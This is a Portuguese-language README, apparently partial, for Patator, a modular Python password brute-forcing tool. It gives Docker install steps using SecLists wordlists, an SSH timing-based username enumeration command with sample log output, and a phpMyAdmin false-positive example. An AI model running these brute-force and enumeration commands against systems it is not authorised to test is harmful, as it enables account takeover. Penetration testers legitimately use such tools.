
Patator é um brute-forcer multiuso, com design modular e utilização flexível.
O Patator foi escrito por frustração ao usar Hydra, Medusa, Ncrack, módulos do Metasploit e scripts NSE do Nmap para ataques de adivinhação de senhas. Optei por uma abordagem diferente para não criar mais uma ferramenta de brute-force e evitar repetir as mesmas falhas. O Patator é uma ferramenta multi-thread escrita em Python, que busca ser mais confiável e flexível que seus antecessores.
Atualmente, ele suporta os seguintes módulos:```
O nome "Patator" vem de [isto](https://www.youtube.com/watch?v=9sF9fTALhVA).
Patator NÃO é amigável para script-kiddies, por favor leia o abaixo, [DeepWiki](https://deepwiki.com/lanjelot/patator) e a [wiki](https://github.com/lanjelot/patator/wiki) antes de reportar.
Por favor, doe se gostar deste projeto! :)
<div align="center">
| PayPal | Bitcoin |
| -------- | ------- |
| [](https://www.paypal.com/cgi-bin/webscr?cmd=_donations&business=SB36VJH4EM5WG&lc=AU&item_name=lanjelot&item_number=patator¤cy_code=AUD&bn=PP%2dDonationsBF%3abtn_donateCC_LG%2egif%3aNonHosted)| [](https://raw.githubusercontent.com/lanjelot/patator/master/donate/bitcoin-address.txt) |
</div>
Muito obrigado! [@lanjelot](https://twitter.com/lanjelot)
## Instalar```
git clone https://github.com/lanjelot/patator.git
git clone https://github.com/danielmiessler/SecLists.git
docker build -t patator patator/
docker run -it --rm -v $PWD/SecLists/Passwords:/mnt patator dummy_test data=FILE0 0=/mnt/richelieu-french-top5000.txt
Testado contra `vsftpd-3.0.2-9` em `CentOS 7.0-1406`.
* SSH : Enumeração de usuários baseada em tempo```
$ ssh_login host=10.0.0.1 user=FILE0 0=logins.txt password=$(perl -e "print 'A'x50000") --max-retries 0 --timeout 10 -x ignore:time=0-3
17:45:20 patator INFO - Starting Patator v0.7-beta (https://github.com/lanjelot/patator) at 2015-02-08 17:45 AEDT
17:45:20 patator INFO -
17:45:20 patator INFO - code size time | candidate | num | mesg
17:45:20 patator INFO - -----------------------------------------------------------------------------
17:45:30 patator FAIL - xxx 41 10.001 | root | 1 | <class '__main__.TimeoutError'> timed out
17:45:34 patator FAIL - xxx 41 10.000 | john | 23 | <class '__main__.TimeoutError'> timed out
17:45:37 patator FAIL - xxx 41 10.000 | joe | 40 | <class '__main__.TimeoutError'> timed out
...
Testado contra openssh-server 1:6.0p1-4+deb7u2 no Debian 7.8.
Payload #72 foi um falso positivo devido a uma mensagem de erro inesperada:```
$ grep AllowNoPassword /tmp/qsdf/72_200\:13215\:0\:0.351.txt
... class="icon ic_s_error" /> Login without a password is forbidden by configuration (see AllowNoPassword)</div><noscript>
Testado contra phpMyAdmin 4.2.7.1.